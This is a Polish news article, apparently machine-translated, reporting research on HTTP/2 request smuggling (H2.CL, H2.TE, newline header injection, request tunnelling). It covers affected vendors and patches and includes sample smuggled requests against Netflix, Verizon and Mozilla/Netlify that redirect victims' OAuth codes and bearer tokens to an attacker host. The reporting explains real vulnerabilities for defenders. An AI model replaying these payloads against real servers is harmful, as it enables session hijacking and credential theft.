Systemy webowe, w których frontend akceptuje połączenia poprzez HTTP/2 i przesyła je do backendu poprzez HTTP/1.1, zostały narażone na nowy wariant ataku „HTTP Request Smuggling”, który umożliwia poprzez wysyłanie specjalnie zaprojektowanych żądań klientów wtapiaj się w treść żądań innych użytkowników przetwarzanych w tym samym przepływie pomiędzy frontendem i backendem. Atak może zostać wykorzystany do wstawienia złośliwego kodu JavaScript do sesji z legalną witryną internetową, ominięcia systemów ograniczeń dostępu i przechwycenia parametrów uwierzytelniania.
Problem dotyczy serwerów proxy sieci Web, modułów równoważenia obciążenia, akceleratorów sieciowych, systemów dostarczania treści i innych konfiguracji, w których żądania są przekierowywane w sposób od frontu do backendu. Autor badania wykazał możliwość ataku na systemy Netflix, Verizon, Bitbucket, Netlify CDN i Atlassian i otrzymał 56 tys. dolarów w programach nagród za identyfikację luk. Problem potwierdzono także w produktach F5 Networks. Problem częściowo dotyczy mod_proxy w serwerze http Apache (CVE-2021-33193), poprawka spodziewana jest w wersji 2.4.49 (programiści zostali powiadomieni o problemie na początku maja i mieli 3 miesiące na jego naprawienie). W nginx możliwość jednoczesnego określenia nagłówków „Content-Length” i „Transfer-Encoding” została zablokowana w ostatniej wersji (1.21.1). Narzędzia ataku są już zawarte w zestawie narzędzi Burp i są dostępne w postaci rozszerzenia Turbo Intruder.
Zasada działania nowej metody klinowania żądań w ruchu jest podobna do luki zidentyfikowanej przez tego samego badacza dwa lata temu, ale ogranicza się do frontendów akceptujących żądania po HTTP/1.1. Przypomnijmy, że w schemacie frontend-backend żądania klientów odbierane są przez dodatkowy węzeł – frontend, który nawiązuje długotrwałe połączenie TCP z backendem, który bezpośrednio przetwarza żądania. Przez to wspólne połączenie zazwyczaj przesyłane są żądania od różnych użytkowników, które następują po sobie w łańcuchu, oddzielone za pomocą protokołu HTTP.
Klasyczny atak „HTTP Request Smuggling” opierał się na fakcie, że frontendy i backendy interpretują użycie nagłówków HTTP „Content-Length” (określa całkowity rozmiar danych w żądaniu) i „Transfer-Encoding: chunked” (umożliwia dane, które mają być przesyłane w częściach) inaczej. . Na przykład, jeśli frontend obsługuje tylko „Content-Length”, ale ignoruje „Transfer-Encoding: fragmentaryczne”, osoba atakująca może wysłać żądanie zawierające zarówno nagłówki „Content-Length”, jak i „Transfer-Encoding: fragmentowane”, ale rozmiar to „Długość zawartości” i nie odpowiada rozmiarowi fragmentarycznego łańcucha. W tym przypadku frontend przetworzy i przekieruje żądanie zgodnie z „Długością treści”, a backend będzie czekał na zakończenie bloku w oparciu o „Transfer-Encoding: chunked”, a pozostała część żądania atakującego zostanie znajdować się na początku żądania innej osoby przesyłanego w następnej kolejności.
W przeciwieństwie do protokołu tekstowego HTTP/1.1, który jest analizowany na poziomie linii, HTTP/2 jest protokołem binarnym i manipuluje blokami danych o wcześniej określonym rozmiarze. Jednak protokół HTTP/2 używa pseudonagłówków odpowiadających zwykłym nagłówkom HTTP. W przypadku interakcji z backendem poprzez protokół HTTP/1.1 frontend tłumaczy te pseudonagłówki na podobne nagłówki HTTP HTTP/1.1. Problem w tym, że backend podejmuje decyzje o parsowaniu strumienia na podstawie ustawionych przez frontend nagłówków HTTP, nie mając informacji o parametrach pierwotnego żądania.
W szczególności wartości „content-length” i „transfer-encoding” mogą być przesyłane w formie pseudonagłówków, mimo że w HTTP/2 nie są one używane, ponieważ określany jest rozmiar wszystkich danych w osobnym polu. Jednak podczas procesu konwersji żądania HTTP/2 na HTTP/1.1 nagłówki te są przenoszone i mogą dezorientować backend. Istnieją dwa główne warianty ataku: H2.TE i H2.CL, w których backend jest wprowadzany w błąd przez nieprawidłowe wartości kodowania transferu lub długości treści, które nie odpowiadają rzeczywistemu rozmiarowi treści żądania otrzymanego przez frontend za pośrednictwem Protokół HTTP/2.
Przykładem ataku H2.CL jest określenie nieprawidłowego rozmiaru pseudonagłówka długości treści podczas wysyłania żądania HTTP/2 do serwisu Netflix. To żądanie prowadzi do dodania podobnego nagłówka HTTP Content-Length podczas uzyskiwania dostępu do backendu poprzez HTTP/1.1, ale ponieważ rozmiar w Content-Length jest określony mniejszy niż rzeczywisty, część danych w ogonie jest przetwarzana jako początek następnego żądania.
Na przykład żądanie HTTP/2 :method POST :ścieżka /n :autorytet www.netflix.com długość-zawartości 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Spowoduje to wysłanie żądania do backendu: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Ponieważ Content-Length ma wartość 4, backend zaakceptuje tylko „abcd” jako treść żądania, a reszta „GET /n HTTP/1.1...” zostanie przetworzona jako początek kolejnego żądania powiązany z innym użytkownikiem. W związku z tym strumień zostanie zdesynchronizowany i w odpowiedzi na kolejne żądanie zostanie wydany wynik przetworzenia fikcyjnego żądania. W przypadku Netflix podanie zewnętrznego hosta w nagłówku „Host:” w fikcyjnym żądaniu skutkowało zwróceniem przez klienta odpowiedzi „Lokalizacja: https://02.rs?x.netflix.com/n” oraz zezwolił na wysyłanie do klienta dowolnej treści, w tym Uruchom swój kod JavaScript w kontekście witryny Netflix.
Druga opcja ataku (H2.TE) polega na zastąpieniu nagłówka „Transfer-Encoding: chunked”. Użycie pseudonagłówka kodującego transfer w HTTP/2 jest zabronione przez specyfikację, a żądania z nim są traktowane jako nieprawidłowe. Mimo to niektóre implementacje frontendu nie uwzględniają tego wymogu i pozwalają na użycie pseudonagłówka kodującego transfer w HTTP/2, który jest konwertowany na podobny nagłówek HTTP. Jeśli istnieje nagłówek „Transfer-Encoding”, backend może nadać mu wyższy priorytet i analizować dane kawałek po kawałku w trybie „pofragmentowanym”, używając bloków o różnych rozmiarach w formacie „{size}\r\n{block }\r\n{rozmiar} \r\n{blok}\r\n0”, pomimo początkowego podziału według całkowitego rozmiaru.
Istnienie takiej luki zostało pokazane na przykładzie Verizon. Problem dotyczył portalu uwierzytelniającego i systemu zarządzania treścią, z którego korzystają także serwisy takie jak Huffington Post i Engadget. Na przykład żądanie klienta poprzez HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding fragmentaryczne 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Skutkowało wysłaniem żądania HTTP/1.1 do backendu: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: fragmentaryczne 0 GET /oops HTTP/1.1 Host: psres. Zawartość netto- Długość: 10x=
Backend z kolei zignorował nagłówek „Content-Length” i wykonał dzielenie strumienia w oparciu o „Transfer-Encoding: chunked”. W praktyce atak umożliwił przekierowanie żądań użytkowników na ich stronę internetową, w tym przechwycenie żądań związanych z uwierzytelnieniem OAuth, których parametry były wyświetlane w nagłówku Referer, a także zasymulowanie sesji uwierzytelnienia i uruchomienie przez system użytkownika przesłania danych uwierzytelniających do gospodarza atakującego. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Strona odsyłająca: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autoryzacja: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Aby zaatakować implementacje protokołu HTTP/2, które nie pozwalają na określenie pseudonagłówka kodującego transfer, zaproponowano inną metodę polegającą na zastąpieniu nagłówka „Transfer-Encoding” poprzez dołączenie go do innych pseudonagłówków oddzielonych znakiem nowej linii ( po konwersji na HTTP/1.1 w tym przypadku tworzy dwa oddzielne nagłówki HTTP).
Na przykład problem ten dotyczył Atlassian Jira i Netlify CDN (używanych do obsługi strony startowej Mozilli w przeglądarce Firefox). W szczególności żądanie HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : domena zła-netlify\r\n Długość zawartości: 5\r\n \r\nx=
spowodowało wysłanie żądania HTTP/1.1 POST / HTTP/1.1 do backendu\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Długość zawartości: 5\r\n \r \nx=
Inną możliwością podstawienia nagłówka „Transfer-Encoding” było dołączenie go do nazwy innego pseudonagłówka lub do linii z metodą żądania. Na przykład podczas uzyskiwania dostępu do Atlassian Jira pseudonagłówek „foo: bar\r\ntransfer-encoding” o wartości „chunked” spowodował dodanie nagłówków HTTP „foo: bar” i „transfer-encoding: chunked” i podanie wartości pseudonagłówka „:method” „GET / HTTP/1.1\r\nTransfer-encoding: chunked” zostało przetłumaczone na „GET / HTTP/1.1\r\ntransfer-encoding: chunked”.
Badacz, który zidentyfikował problem, zaproponował również technikę tunelowania żądań w celu ataku na frontendy, w której każdy adres IP ustanawia osobne połączenie z backendem, a ruch od różnych użytkowników nie jest mieszany. Proponowana technika nie pozwala na ingerencję w żądania innych użytkowników, ale umożliwia zatrucie współdzielonej pamięci podręcznej, która wpływa na przetwarzanie innych żądań oraz pozwala na podstawienie wewnętrznych nagłówków HTTP używanych do przesyłania informacji o usługach z frontendu do backendu ( na przykład podczas uwierzytelniania po stronie frontendu w takich nagłówkach można przesyłać informacje o bieżącym użytkowniku do backendu). Jako przykład zastosowania metody w praktyce, wykorzystując zatruwanie pamięci podręcznej, można było uzyskać kontrolę nad stronami w serwisie Bitbucket.
Źródło: opennet.ru